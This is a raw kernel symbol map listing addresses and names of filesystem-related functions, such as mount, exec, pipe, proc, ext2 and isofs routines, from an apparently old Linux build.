10140870 t copy_mount_options
10140934 T do_mount
101409e4 t .L1438
10140a20 t .L1497
10140a9c t .L1455
10140b28 t .L1477
10140b5c t .L1480
10140b68 t .L1482
10140b84 t .L1484
10140b94 t .L1498
10140b9c t .L1499
10140bbc t .L1500
10140bc4 t .L1501
10140be8 t .L1502
10140c5c T sys_mount
10140d58 t chroot_fs_refs
10140df8 t .L1605
10140e00 t .L1614
10140e94 t .L1619
10140ef4 t .L1633
10140f04 t .L1634
10140f40 t .L1610
10140fa4 t .L1635
10140fb4 T sys_pivot_root
10140fb4 t .L1636
1014105c t .L1698
101410dc t .L1655
101410e8 t .L1720
1014112c t .L1663
10141164 t .L1667
10141188 t .L1669
101411a0 t .L1714
101411c0 t .L1693
101411dc t .L1695
10141210 t .L1696
1014121c t .L1721
10141234 t .L1722
1014123c t .L1723
10141244 t .L1724
10141304 t .L1725
1014134c t .L1726
10141354 t .L1727
1014136c t .L1728
10141374 T block_write
1014154c t .L811
101415e4 t .L848
1014172c t .L896
101418b4 t .L897
101418d4 T block_read
10141da8 t block_llseek
10141e68 t block_fsync
10141e88 t init_once
10141ee8 t init_once
10141efc t .L687
10141f10 t .L690
10141f10 t init_once
10141ff0 t bdfind
10142034 T bdget
10142118 T bdput
10142148 t .L1051
10142198 T get_blkdev_list
10142198 t .L1058
1014223c T get_blkfops
10142260 T register_blkdev
101422f8 T unregister_blkdev
10142360 T check_disk_change
1014242c T ioctl_by_bdev
101424b8 T blkdev_get
10142514 t .L1109
101425c0 t .L1120
10142604 t .L1126
10142644 T blkdev_open
10142644 t .L1127
10142688 t .L1130
101426d8 t .L1142
10142708 t .L1148
1014274c T blkdev_put
1014274c t .L1149
10142794 t .L1153
101427d8 t .L1156
10142838 t .L1164
1014286c t .L1169
10142880 t .L1170
10142888 t .L1171
10142888 t blkdev_close
101428a8 t blkdev_ioctl
101428e0 T bdevname
10142948 t cp_new_stat
10142aa4 T sys_newstat
10142ad0 t .L690
10142b24 t .L696
10142b38 T sys_newlstat
10142b64 t .L698
10142bb8 t .L704
10142bcc T sys_newfstat
10142c60 T sys_readlink
10142ca0 t .L713
10142d00 t .L719
10142d2c t cp_new_stat64
10142f04 T sys_stat64
10142f30 t .L732
10142f84 t .L738
10142f98 T sys_lstat64
10142fc4 t .L740
10143018 t .L746
1014302c T sys_fstat64
101430c0 T register_binfmt
10143114 T unregister_binfmt
10143150 T sys_uselib
1014317c t .L807
101431c0 t .L832
10143288 t .L833
1014329c t count
10143314 t get_kmapped_page
1014337c t copy_string
1014343c T copy_strings
10143520 T copy_strings_kernel
10143560 T put_dirty_page
101435f4 t .L925
101436cc t .L949
101436d0 T setup_arg_pages
1014383c t .L975
101438fc t .L984
1014393c t .L993
10143944 T open_exec
10143944 t .L994
10143984 t .L1007
101439bc t .L1012
10143a30 T kernel_read
10143aac t exec_mmap
10143b4c t .L1041
10143bb0 t .L1056
10143bf8 t .L1058
10143c24 t .L1059
10143c54 t .L1023
10143cac T flush_old_exec
10143cac t .L1060
10143dac t .L1116
10143f58 T prepare_binprm
10143f58 t .L1175
10144068 T compute_creds
101441e0 T remove_arg_zero
10144240 T search_binary_handler
101443d8 T do_execve
10144584 T set_binfmt
10144608 T do_coredump
1014465c t .L1362
10144700 t .L1367
10144744 T pipe_wait
101447cc t .L679
10144800 t .L682
10144828 t .L684
10144830 t .L685
10144834 t pipe_read
101448dc t .L692
1014494c t .L697
10144960 t .L721
10144974 t .L732
10144a10 t .L733
10144af8 t .L734
10144af8 t pipe_write
10144bb8 t .L741
10144c74 t .L750
10144c88 t .L782
10144c9c t .L795
10144d0c t .L796
10144db8 t .L786
10144de4 t .L797
10144e80 t .L798
10144e80 t pipe_lseek
10144e8c t bad_pipe_r
10144e94 t bad_pipe_w
10144e9c t pipe_ioctl
10144ef0 t pipe_poll
10144fa0 t pipe_release
10144fdc t .L837
1014501c t .L839
10145030 t .L841
1014505c t .L845
10145084 t .L846
1014508c t .L847
1014508c t pipe_read_release
101450ac t pipe_write_release
101450cc t pipe_rdwr_release
101450f0 t pipe_read_open
1014511c t .L853
10145148 t .L855
10145168 t .L857
10145170 t .L858
10145170 t pipe_write_open
1014519c t .L861
101451c8 t .L863
101451e8 t .L865
101451f0 t .L866
101451f0 t pipe_rdwr_open
10145224 t .L869
1014526c t .L873
10145294 t .L875
1014529c T pipe_new
1014529c t .L876
1014536c t pipefs_delete_dentry
10145374 t get_pipe_inode
10145430 T do_pipe
10145584 t .L908
101456c4 t .L920
1014577c t pipefs_statfs
101457a0 t pipefs_read_super
10145874 T getname
101458e8 t .L763
10145914 t .L774
1014594c T vfs_permission
10145a9c T permission
10145ac8 t .L800
10145ae4 T get_write_access
10145ae4 t .L804
10145b14 T deny_write_access
10145b4c T path_release
10145b9c t .L818
10145bb0 t .L821
10145bb0 t cached_lookup
10145c2c t real_lookup
10145c74 t .L829
10145ca4 t .L840
10145d1c t .L849
10145d6c t .L838
10145d84 t .L850
10145d94 T follow_up
10145d94 t .L851
10145df8 t .L876
10145e48 t .L878
10145e80 t .L882
10145e98 T follow_down
10145e98 t .L883
10145f48 t .L906
10145f64 t .L910
10145f9c t .L919
10145fb0 T path_walk
10145fb0 t .L920
10146030 t .L959
10146214 t .L1090
10146230 t .L1094
101462e8 t .L1105
1014634c t .L1171
10146378 t .L1172
10146390 t .L1173
10146444 t .L1064
10146494 t .L1066
101464d8 t .L1174
101464f0 t .L1175
10146504 t .L1057
10146544 t .L1176
1014666c t .L1020
10146688 t .L1024
101466d8 t .L1177
10146730 t .L1038
1014677c t .L1178
101467ac t .L1179
101467c4 t .L1180
10146878 t .L994
101468c8 t .L996
1014690c t .L1181
10146924 t .L1182
10146938 t .L987
1014697c t .L1183
101469ac t __emul_lookup_dentry
10146a00 t .L1186
10146a60 t .L1194
10146ae4 t .L1202
10146afc T set_fs_altroot
10146afc t .L1203
10146b70 t .L1223
10146b88 T path_init
10146b88 t .L1227
10146c0c t .L1282
10146c5c t .L1291
10146cb8 t .L1273
10146cf8 t .L1292
10146d38 t .L1263
10146d88 T lookup_hash
10146d88 t .L1293
10146dbc t .L1297
10146e64 t .L1313
10146e6c T lookup_one
10146ed4 T __user_walk
10146f58 T vfs_create
10146fb4 t .L1374
10146fdc t .L1386
10146fe4 t .L1387
1014701c t .L1393
10147028 t .L1394
10147080 T open_namei
10147080 t .L1395
10147148 t .L1409
1014718c t .L1411
101471a4 t .L1412
101471d8 t .L1423
101471f4 t .L1517
101474ec t .L1487
10147514 t .L1518
1014751c t .L1519
1014754c t .L1520
1014759c t .L1438
101475b8 t .L1442
101475f0 t .L1521
10147604 t .L1522
1014760c t .L1523
1014763c t .L1420
1014766c t .L1524
10147688 t .L1417
10147698 t .L1525
101476a0 t .L1526
10147708 t lookup_create
10147740 t .L1529
101477cc T vfs_mknod
101477cc t .L1541
10147830 t .L1545
10147894 t .L1562
1014789c t .L1563
101478dc t .L1569
101478e8 t .L1570
1014794c T sys_mknod
1014794c t .L1571
101479d4 t .L1579
10147a7c t .L1597
10147a8c t .L1604
10147a94 t .L1605
10147b08 T vfs_mkdir
10147b48 t .L1608
10147b70 t .L1621
10147b78 t .L1622
10147bb0 t .L1628
10147bbc t .L1629
10147c2c T sys_mkdir
10147c2c t .L1630
10147c88 t .L1637
10147d18 t .L1642
10147d28 t .L1645
10147d30 t .L1646
10147d34 t d_unhash
10147d60 t .L1650
10147dcc T vfs_rmdir
10147dcc t .L1661
10147e78 t .L1690
10147e94 t .L1692
10147ecc t .L1703
10147ee8 t .L1706
10147ef0 t .L1707
10147f20 t .L1717
10147f2c t .L1718
10147f38 t .L1719
10147f84 t .L1720
10147f8c t .L1721
1014805c T sys_rmdir
101480b8 t .L1728
10148118 t .L1738
10148178 t .L1743
10148188 t .L1748
10148190 t .L1749
10148198 t .L1750
101481a8 T vfs_unlink
101481e0 t .L1753
10148204 t .L1774
10148218 t .L1785
10148220 t .L1786
10148254 t .L1792
10148260 t .L1793
101482a8 t .L1794
1014836c T sys_unlink
1014836c t .L1795
101483c8 t .L1802
10148408 t .L1825
10148428 t .L1806
101484a8 t .L1814
101484bc t .L1826
101484e4 T vfs_symlink
101484e4 t .L1827
10148524 t .L1830
1014854c t .L1842
10148554 t .L1843
1014858c t .L1849
10148598 t .L1850
101485f0 T sys_symlink
101485f0 t .L1851
10148668 t .L1861
10148708 t .L1866
10148718 t .L1871
10148720 t .L1872
1014872c T vfs_link
10148770 t .L1875
101487a4 t .L1890
101487ac t .L1891
101487e8 t .L1896
101487f4 t .L1897
1014886c T sys_link
1014886c t .L1898
101488f4 t .L1908
10148960 t .L1911
1014896c t .L1926
10148984 t .L1927
101489e4 t .L1918
101489f8 t .L1928
10148a04 T vfs_rename_dir
10148b10 t .L1986
10148b28 t .L1988
10148b44 t .L2039
10148b58 t .L2062
10148bac t .L1996
10148bc8 t .L1999
10148be4 t .L2001
10148c20 t .L2022
10148c3c t .L2025
10148c54 t .L2027
10148c64 t .L2028
10148c84 t .L2063
10148c90 t .L2064
10148c9c t .L2065
10148ca8 t .L2066
10148cb4 t .L2067
10148cd8 t .L2033
10148cf8 t .L2036
10148d0c t .L2068
10148d18 t .L2069
10148d7c t .L2070
10148d84 t .L2071
10148d8c t .L2072
10148df0 t .L2006
10148e08 t .L2008
10148e20 t .L2073
10148e28 t .L2074
10148e30 t .L2075
10148fec T vfs_rename_other
101490e0 t .L2133
101490fc t .L2135
10149128 t .L2144
10149144 t .L2147
10149164 t .L2149
10149178 t .L2162
10149184 t .L2163
10149190 t .L2164
101491cc t .L2165
101491d4 t .L2166
10149378 T vfs_rename
101493b4 t .L2179
101493bc t .L2170
10149404 t .L2180
1014941c t .L2181
10149424 t .L2182
10149428 T sys_rename
101494b4 t .L2226
1014952c t .L2227
10149538 t .L2267
10149550 t .L2268
101495a4 t .L2241
101495c0 t .L2243
10149618 t .L2230
10149644 t .L2254
10149664 t .L2256
1014967c t .L2269
10149688 t .L2270
101496e0 t .L2271
101496e8 t .L2272
101496f0 t .L2273
101496fc T vfs_readlink
10149778 T vfs_follow_link
101498d0 t .L2342
10149914 t .L2360
10149954 t .L2332
101499a4 t .L2361
101499a4 t page_getlink
10149a38 T page_readlink
10149ab0 T page_follow_link
10149b28 t .L2407
10149bc4 t .L2423
10149c30 t .L2402
10149c74 t .L2424
10149cb4 t .L2392
10149d04 t .L2425
10149d04 t expand_files
10149d6c t locate_fd
10149ec8 t dupfd
10149fb4 T sys_dup2
1014a098 t .L733
1014a0e0 t .L740
1014a0e4 T sys_dup
1014a11c t setfl
1014a1cc t do_fcntl
1014a228 t .L755
1014a248 t .L798
1014a2a4 t .L799
1014a2c8 t .L800
1014a2d0 t .L801
1014a338 t .L802
1014a3c0 t .L803
1014a3e4 t .L804
1014a3f8 t .L805
1014a404 t .L806
1014a408 T sys_fcntl
1014a480 T sys_fcntl64
1014a4dc t .L822
1014a510 t .L824
1014a528 t .L825
1014a538 t .L826
1014a53c t send_sigio_to_task
1014a588 t .L827
1014a630 t .L840
1014a648 T send_sigio
1014a70c t .L848
1014a728 t .L861
1014a734 T fasync_helper
1014a7d0 t .L877
1014a820 t .L885
1014a828 T __kill_fasync
1014a89c t .L886
1014a8dc t .L898
1014a8e0 T kill_fasync
1014a8fc t file_ioctl
1014aab8 T sys_ioctl
1014ab58 t .L840
1014ab98 t .L842
1014ad00 T vfs_readdir
1014ad64 t .L671
1014ad84 t .L673
1014ada8 t .L678
1014adc0 t .L680
1014adf8 t .L684
1014ae04 t .L685
1014ae30 t .L686
1014ae38 T dcache_readdir
1014ae38 t .L687
1014afd8 t fillonedir
1014b0d4 T old_readdir
1014b14c t filldir
1014b288 T sys_getdents
1014b35c t filldir64
1014b4b8 T sys_getdents64
1014b574 T poll_freewait
1014b5e4 T __pollwait
1014b6c8 t max_select_fd
1014b7b8 T do_select
1014ba00 t select_bits_alloc
1014ba24 t select_bits_free
1014ba3c T sys_select
1014bab8 t .L795
1014bbe8 t .L807
1014bbf0 t .L814
1014bc00 t .L875
1014bc20 t .L810
1014bc4c t .L813
1014bd08 t .L876
1014bdac t .L877
1014bdb8 t .L878
1014bdd0 t .L879
1014bde4 t do_pollfd
1014bed0 t do_poll
1014bfe8 T sys_poll
1014c2cc t wait_for_partner
1014c32c t wake_up_partner
1014c350 t fifo_open
1014c394 t .L656
1014c3f0 t .L661
1014c404 t .L694
1014c41c t .L710
1014c440 t .L711
1014c46c t .L664
1014c47c t .L662
1014c490 t .L688
1014c4a8 t .L712
1014c504 t .L713
1014c57c t .L714
1014c5d4 t .L675
1014c61c t .L691
1014c634 t .L715
1014c640 t .L716
1014c65c t .L717
1014c65c t locks_alloc_lock
1014c6bc T locks_init_lock
1014c738 T locks_copy_lock
1014c7b4 t flock_make_lock
1014c838 t assign_type
1014c850 t flock_to_posix_lock
1014c9a4 t flock64_to_posix_lock
1014caec t lease_alloc
1014cc14 t locks_delete_block
1014cc54 t locks_insert_block
1014cd08 t locks_wake_up_blocks
1014cd68 t .L796
1014cd80 t .L790
1014cdb4 t .L805
1014cdf4 t .L806
1014cdf4 t locks_insert_lock
1014ce50 t locks_delete_lock
1014cf74 t locks_conflict
1014cfcc t posix_locks_conflict
1014cff4 t .L835
1014d038 t .L850
1014d07c t flock_locks_conflict
1014d0b0 t .L851
1014d0d4 t .L858
1014d0d4 t interruptible_sleep_on_locked
1014d158 t .L863
1014d19c t .L869
1014d1a0 t locks_block_on
1014d1e0 t locks_block_on_timeout
1014d224 T posix_test_lock
1014d27c t posix_locks_deadlock
1014d2f8 T locks_mandatory_locked
1014d358 T locks_mandatory_area
1014d48c t .L942
1014d4d4 t .L953
1014d59c t flock_lock_file
1014d778 T posix_lock_file
1014d7ec t .L1061
1014d99c t .L1059
1014d9ec t .L1117
1014da0c t .L1118
1014dccc T __get_lease
1014dd34 t .L1164
1014dd3c t .L1165
1014ddb4 t .L1188
1014ddd0 t .L1189
1014df30 t .L1190
1014df68 T lease_get_mtime
1014df94 T fcntl_getlease
1014dfbc t lease_modify
1014e014 t .L1200
1014e068 T fcntl_setlease
1014e068 t .L1203
1014e150 t .L1247
1014e26c t .L1264
1014e288 t .L1265
1014e340 T sys_flock
1014e404 T fcntl_getlk
1014e440 t .L1286
1014e4dc t .L1298
1014e508 t .L1324
1014e5e0 t .L1325
1014e5f0 T fcntl_setlk
1014e5f0 t .L1326
1014e640 t .L1329
1014e68c t .L1348
1014e6cc t .L1375
1014e7d8 t .L1376
1014e82c T fcntl_getlk64
1014e868 t .L1379
1014e904 t .L1391
1014e98c t .L1402
1014e9b0 t .L1403
1014e9c0 T fcntl_setlk64
1014e9c0 t .L1404
1014ea10 t .L1407
1014ea5c t .L1426
1014ea9c t .L1453
1014eba8 t .L1454
1014ebfc T locks_remove_posix
1014ec40 t .L1458
1014ec9c t .L1467
1014eca0 T locks_remove_flock
1014ecf0 t .L1471
1014ed18 t .L1479
1014ed1c T posix_block_lock
1014ed34 T posix_unblock_lock
1014ed60 t lock_get_status
1014edfc t .L1521
1014eeb4 t .L1520
1014ef18 t .L1523
1014ef8c t .L1524
1014efa0 t .L1525
1014efb8 t .L1526
1014efcc t .L1527
1014efd0 t move_lock_status
1014f060 T get_locks_status
1014f1b8 T lock_may_read
1014f278 T lock_may_write
1014f32c T dput
1014f428 t .L667
1014f4a4 t .L677
1014f4f8 T d_invalidate
1014f584 T dget_locked
1014f5e0 T d_find_alias
1014f668 T d_prune_aliases
1014f674 t .L719
1014f6f4 t .L736
1014f71c T prune_dcache
1014f860 t .L753
1014f8e0 T shrink_dcache_sb
1014f8e0 t .L766
1014f92c t .L773
1014fa1c t .L781
1014fa80 t .L795
1014fa8c t .L796
1014fab4 T have_submounts
1014fb24 t select_parent
1014fbbc T shrink_dcache_parent
1014fbc8 t .L839
1014fbec T shrink_dcache_memory
1014fbec t .L843
1014fc34 T d_alloc
1014fd34 t .L860
1014fdc0 t .L868
1014fdec T d_instantiate
1014fe14 T d_alloc_root
1014fe70 T d_lookup
1014ff7c t .L900
10150000 t .L901
10150004 T d_validate
1015015c T d_delete
1015018c t .L933
101501f4 t .L941
101501f8 T d_rehash
10150260 T d_move
10150284 t .L953
101503b4 T __d_path
101503b4 t .L963
10150438 t .L968
101504a8 t .L983
10150514 T sys_getcwd
101505a0 t .L993
101505f8 t .L1001
101506a4 t .L1012
101506d4 t .L1014
10150724 t .L1020
1015073c t .L1021
10150754 t .L1022
1015076c T is_subdir
1015076c t .L1023
1015078c T d_genocide
10150820 T find_inode_number
10150894 t .L1060
101508d8 t .L1066
101508d8 t destroy_inode
10150928 T __mark_inode_dirty
1015097c t __wait_on_inode
101509dc t .L663
101509f4 t .L668
10150a1c T sync_inodes
10150b08 t .L717
10150c28 t .L741
10150c34 t sync_all_inodes
10150cd8 t .L748
10150e20 t .L768
10150e2c T write_inode_now
10150ec0 t .L771
10150ed4 t .L787
10150ffc t .L790
10151018 T generic_osync_inode
10151018 t .L791
10151078 T clear_inode
1015115c t dispose_list
101511ec t invalidate_list
101512f8 T invalidate_inodes
1015138c T prune_icache
10151518 T shrink_icache_memory
10151560 t find_inode
1015160c t clean_inode
101516a4 T get_empty_inode
1015174c t get_new_inode
101517f4 t .L877
10151938 t .L890
1015193c T iunique
10151a28 T igrab
10151b00 T iget4
10151bc4 t .L915
10151c70 T insert_inode_hash
10151c70 t .L928
10151ce0 T remove_inode_hash
10151cfc T iput
10151d58 t .L936
10151e14 t .L951
10151e20 t .L963
10151ea0 t .L948
10151ec8 t .L964
10151ed4 T force_delete
10151ed4 t .L965
10151ee8 T bmap
10151f1c T update_atime
10151f34 t .L1002
10151f90 T inode_change_ok
10151f90 t .L1011
10152174 T inode_setattr
1015227c t setattr_mask
101522f0 T notify_change
10152324 t .L717
10152354 t .L725
10152358 t .L726
101523ac t .L734
101523d4 t .L735
10152400 t .L736
10152400 t bad_follow_link
1015243c t .L591
10152474 t .L594
10152474 t return_EIO
1015247c T make_bad_inode
101524b4 T is_bad_inode
101524cc T alloc_fd_array
101524f8 t .L646
10152510 T free_fd_array
10152510 t .L650
10152540 t .L651
10152554 t .L658
10152564 t .L659
10152568 T expand_fd_array
10152660 t .L685
10152674 t .L689
10152690 T alloc_fdset
101526c8 t .L693
101526e0 T free_fdset
101526e0 t .L696
1015271c t .L697
10152730 t .L705
10152740 t .L706
10152744 T expand_fdset
10152904 T end_kio_request
10152938 t .L643
1015296c t .L648
10152980 T kiobuf_init
101529d4 T alloc_kiovec
10152a64 T free_kiovec
10152b14 T expand_kiobuf
10152bb0 T kiobuf_wait_for_io
10152c04 t .L682
10152c34 t .L688
10152c60 t redo_inode_mask
10152c88 T fcntl_dirnotify
10152e10 T __inode_dir_notify
10152ea0 t .L676
10152ebc t .L687
10152ef8 t .L694
10152f08 t .L695
10152f0c T sys_nfsservctl
10152f14 T sys_quotactl
10152f1c t create_som_tables
101530e8 t check_som_header
10153194 t map_som_binary
10153230 t .L848
1015328c t .L854
1015332c t .L861
1015338c t .L867
101533e0 t .L873
10153424 t .L879
10153448 t .L887
10153450 t .L888
10153458 t .L889
10153460 t .L890
10153468 t .L891
10153470 t .L892
10153470 t load_som_binary
101534b4 t .L995
101535b4 t .L1046
10153748 t load_som_library
10153750 t load_script
1015377c t .L666
10153990 t .L710
10153990 t set_brk
101539e8 t padzero
10153a14 t create_elf_tables
10153dd0 t load_elf_interp
10153e44 t .L944
10153f64 t .L988
10153fd0 t .L966
10154030 t .L971
10154094 t .L989
101540b8 t .L990
101540b8 t load_aout_interp
10154224 t load_elf_binary
101542d8 t .L1017
10154564 t .L1184
10154668 t .L1174
1015487c t .L1122
101548bc t .L1128
101548d0 t .L1185
101548d8 t .L1186
10154930 t .L1187
101549a0 t .L1083
10154a00 t .L1088
10154ae4 t .L1188
10154b08 t .L1189
10154c44 t load_elf_library
10154c84 t .L1192
10154d84 t .L1232
10154db4 t .L1212
10154e18 t .L1218
10154e88 t .L1233
10154eb0 t .L1234
10154eb0 t dump_write
10154ee8 t dump_seek
10154f6c t notesize
10154fa8 t notesize
10154fe4 t writenote
101550ac t elf_core_dump
101557a8 t .L1370
10155898 t .L1404
101558fc T de_get
10155924 T de_put
10155964 t .L800
10155994 t .L812
101559a0 t .L813
101559a0 t proc_delete_inode
101559cc t .L814
10155a20 t .L820
10155a20 t proc_read_inode
10155a38 t proc_statfs
10155a68 t parse_options
10155bc0 t parse_options
10155dac t .L922
10155dd8 t .L849
10155e10 t .L926
10155e5c t .L927
10155ea8 t .L928
10155f24 t .L929
10155ff4 t .L930
1015602c t parse_options
101565cc T proc_get_inode
101566f4 t .L872
1015673c t .L877
10156740 T proc_read_super
10156824 t proc_root_lookup
10156888 t proc_root_readdir
101568f8 t proc_fd_link
10156964 t .L680
1015699c t .L683
1015699c t proc_exe_link
10156a04 t .L690
10156a40 t .L703
10156a78 t .L708
10156ab8 t .L699
10156af4 t .L709
10156afc t .L710
10156afc t proc_cwd_link
10156b84 t .L719
10156bcc t .L723
10156bcc t proc_root_link
10156c54 t .L732
10156c9c t .L736
10156c9c t proc_pid_environ
10156d18 t proc_pid_cmdline
10156e28 t standard_permission
10156f68 t proc_check_root
10157004 t .L787
10157080 t .L799
101570b0 t .L801
101570d0 t .L810
101570e8 t .L811
10157108 t .L812
10157108 t proc_permission
10157128 t .L813
1015713c t .L816
1015713c t pid_maps_read
1015717c t proc_info_read
101572d0 t mem_read
1015741c t proc_pid_follow_link
101574d0 t do_proc_readlink
10157564 t .L870
101575d0 t .L872
1015763c t .L879
10157654 t .L880
10157654 t proc_pid_readlink
101576c8 t .L888
10157770 t .L895
10157778 t proc_readfd
10157990 t proc_base_readdir
10157b48 t proc_pid_make_inode
10157c3c t pid_fd_revalidate
10157c44 t pid_base_revalidate
10157c80 t pid_delete_dentry
10157c88 t proc_lookupfd
10157e34 t proc_base_lookup
1015803c t proc_self_readlink
101580a4 t proc_self_follow_link
101580ec T proc_pid_lookup
1015831c T proc_pid_delete_inode
10158360 t get_pid_list
101583a4 T proc_pid_readdir
10158524 T proc_match
10158578 t proc_file_read
10158788 t proc_file_write
101587c8 t proc_file_lseek
10158858 t xlate_proc_name
101588fc t make_inode_number
101589a0 t proc_readlink
101589c8 t proc_follow_link
101589f0 t proc_delete_dentry
101589f8 T proc_lookup
10158ad0 T proc_readdir
10158c7c t proc_register
10158d58 t proc_kill_inodes
10158df4 T proc_symlink
10158ed0 t .L818
10158efc t .L824
10158f10 T proc_mknod
10158ffc T proc_mkdir
101590e8 T create_proc_entry
10159220 T free_proc_entry
10159250 t .L853
10159278 T remove_proc_entry
10159278 t .L855
101592e8 t .L856
10159394 t .L877
101593a0 t .L878
101593cc t collect_sigign_sigcatch
1015945c T proc_pid_status
10159664 t .L869
10159710 t .L878
10159848 t .L892
10159884 t .L893
101598a0 T proc_pid_stat
10159994 t .L905
101599d4 t .L911
10159bc8 t .L926
10159bd0 t .L927
10159bd0 t statm_pgd_range
10159dcc T proc_pid_statm
10159e6c t .L1005
10159f0c t .L1017
10159f94 t .L1022
10159fc0 T proc_pid_read_maps
10159fc0 t .L1023
1015a0b4 t .L1037
1015a1b0 t .L1064
1015a218 t .L1066
1015a2d0 t .L1089
1015a374 t .L1107
1015a394 t .L1081
1015a3c0 t .L1083
1015a3fc t .L1108
1015a408 t .L1109
1015a434 t .L1110
1015a44c t .L1111
1015a484 t .L1112
1015a498 t kmsg_open
1015a4bc t kmsg_release
1015a4e4 t kmsg_read
1015a500 t kmsg_poll
1015a55c t tty_drivers_read_proc
1015a5f4 t .L655
1015a7ac t .L691
1015a7b4 t tty_ldiscs_read_proc
1015a8cc T proc_tty_register_driver
1015a944 T proc_tty_unregister_driver
1015a978 t proc_calc_metrics
1015a9b0 t loadavg_read_proc
1015aaa8 t uptime_read_proc
1015ab78 t meminfo_read_proc
1015ad60 t version_read_proc
1015add0 t cpuinfo_read_proc
1015ae30 t kstat_read_proc
1015b0fc t devices_read_proc
1015b15c t partitions_read_proc
1015b190 t interrupts_read_proc
1015b1f0 t filesystems_read_proc
1015b250 t dma_read_proc
1015b2b0 t ioports_read_proc
1015b320 t cmdline_read_proc
1015b398 t locks_read_proc
1015b3cc t mounts_read_proc
1015b42c t execdomains_read_proc
1015b48c t swaps_read_proc
1015b4ec t memory_read_proc
1015b55c t read_profile
1015b688 t write_profile
1015b6c0 t open_kcore
1015b6f8 t get_kcore_size
1015b774 t storenote
1015b820 t elf_kcore_store_hdr
1015bae4 t read_kcore
1015bcd8 t .L749
1015bd98 t .L758
1015bdc8 t .L759
1015bdd0 t .L750
1015beb4 T disk_name
1015c264 t .L1393
1015c2b4 t .L1510
1015c2d0 t .L1511
1015c314 t .L1512
1015c350 t .L1513
1015c37c t .L1514
1015c390 t .L1515
1015c3a4 t .L1516
1015c3a8 T add_gd_partition
1015c41c t .L1519
1015c444 T get_ptable_blocksize
1015c444 t .L1520
1015c4d0 T get_partition_list
1015c620 t check_partition
1015c6e4 t .L1572
1015c744 t .L1578
1015c74c T devfs_register_partitions
1015c750 T register_disk
1015c788 T grok_partitions
1015c890 t extended_partition
1015c93c t .L818
1015cc10 t .L905
1015cd98 T msdos_partition
1015d1dc T ext2_get_group_desc
1015d290 t read_block_bitmap
1015d310 t .L772
1015d360 t .L779
1015d360 t __load_block_bitmap
1015d3d8 t .L780
1015d4a4 t .L816
1015d518 t .L817
1015d534 T ext2_free_blocks
1015d5f8 t .L825
1015d868 t .L896
1015d8dc t .L934
1015d914 t .L935
1015d918 T ext2_new_block
1015d9d4 t .L955
1015dc7c t .L1209
1015dcfc t .L954
1015dd1c t .L1174
1015e108 t .L1210
1015e314 t .L1211
1015e318 T ext2_count_free_blocks
1015e330 T ext2_group_sparse
1015e410 T ext2_bg_has_super
1015e450 T ext2_bg_num_gdb
1015e490 T ext2_count_free
1015e4dc T ext2_check_dir_entry
1015e608 t ext2_readdir
1015eaa4 t ext2_file_lseek
1015eb84 t ext2_release_file
1015ebac t ext2_open_file
1015ebe8 T ext2_sync_file
1015ec08 T ext2_fsync_inode
1015ec70 t read_inode_bitmap
1015ecec t .L766
1015ed3c t .L774
1015ed44 t load_inode_bitmap
1015ef44 T ext2_free_inode
1015f14c t .L831
1015f1ac t .L859
1015f1b0 T ext2_new_inode
1015f238 t .L869
1015f3bc t .L1029
1015f420 t .L1030
1015f808 T ext2_count_free_inodes
1015f820 T ext2_put_inode
1015f838 T ext2_delete_inode
1015f854 t .L765
1015f8dc t .L779
1015f8ec T ext2_discard_prealloc
1015f920 t ext2_alloc_block
1015f994 t .L787
1015f9b4 t .L791
1015f9d0 t ext2_block_to_path
1015fa08 t .L801
1015fab8 t .L811
1015fad0 t .L812
1015fad4 t ext2_alloc_branch
1015fd44 t ext2_get_block
10160194 t .L1042
101601d0 t .L1093
1016032c T ext2_getblk
101603bc t .L1097
10160410 T ext2_bread
10160410 t .L1105
10160574 t ext2_writepage
10160594 t ext2_readpage
101605b8 t ext2_prepare_write
101605e8 t ext2_bmap
10160608 t ext2_find_shared
1016088c t ext2_free_branches
10160978 t .L1219
10160984 t .L1231
101609bc t .L1247
10160aa0 T ext2_truncate
10160aa0 t .L1248
10160b18 t .L1249
10160c28 t .L1269
10160d4c t .L1265
10160e38 t .L1309
10160e5c t .L1310
10160e9c t .L1311
10160f88 t .L1312
10160f8c T ext2_read_inode
10160ff4 t .L1321
10161054 t .L1451
1016145c t .L1452
101614bc t .L1453
101614d8 t .L1454
101614e0 t ext2_update_inode
10161554 t .L1596
101615a4 t .L1601
101617e0 t .L1559
1016190c t .L1602
101619b0 t .L1603
101619cc t .L1604
101619d4 T ext2_write_inode
101619ec T ext2_sync_inode
10161a08 T ext2_notify_change
10161a88 t .L1617
10161b3c t .L1645
10161bec T ext2_ioctl
10161e7c t ext2_find_entry
101621e8 t ext2_lookup
10162298 T ext2_add_entry
101626a4 t ext2_delete_entry
10162820 t ext2_create
10162924 t ext2_mknod
10162a28 t ext2_mkdir
10162cb8 t empty_dir
10162d58 t .L1069
10162efc t .L1127
10162f1c t ext2_rmdir
10162f80 t .L1130
10163084 t .L1145
10163084 t ext2_unlink
101631c0 t ext2_symlink
10163348 t ext2_link
10163418 t ext2_rename
10163714 t .L1226
10163750 t .L1255
1016383c T ext2_error
101639b0 T ext2_panic
10163a7c T ext2_warning
10163af0 T ext2_update_dynamic_rev
10163b58 T ext2_put_super
10163b74 t .L808
10163c54 t .L844
10163c54 t ext2_setup_super
10163ce0 t .L939
10163e44 t .L997
10163e5c t ext2_check_descriptors
10163fa8 T ext2_read_super
101640c4 t .L1071
101640d4 t .L1072
10164124 t .L1233
10164138 t .L1223
10164204 t .L1234
10164340 t .L1235
10164370 t .L1236
10164388 t .L1237
101643a8 t .L1238
101643c0 t .L1239
101643d8 t .L1240
10164574 t .L1241
101645c4 t .L1242
10164610 t .L1243
10164620 t .L1244
1016468c t .L1245
10164720 t .L1246
10164730 t .L1247
10164764 t .L1248
10164780 t .L1249
101647b0 t .L1250
101647b4 t ext2_commit_super
101647f0 T ext2_write_super
10164804 t .L1257
10164864 T ext2_remount
10164864 t .L1274
10164908 t .L1280
10164974 t .L1302
101649e0 T ext2_statfs
10164b38 t ext2_readlink
10164b5c t ext2_follow_link
10164b84 t isofs_cmp
10164c10 t isofs_find_entry
10164ed0 T isofs_lookup
10164f94 t isofs_put_super
10164f98 t isofs_hash_common
1016500c t isofs_hashi_common
101650a8 t isofs_dentry_cmpi_common
10165164 t isofs_dentry_cmp_common
10165220 t isofs_hash
1016523c t isofs_hashi
10165258 t isofs_dentry_cmp
10165274 t isofs_dentry_cmpi
10165290 t isofs_get_last_session
10165398 t isofs_read_super
10165454 t .L1009
101654e0 t .L1023
101654ec t .L1002
101655a8 t .L1081
101655d8 t .L1082
10165730 t .L1066
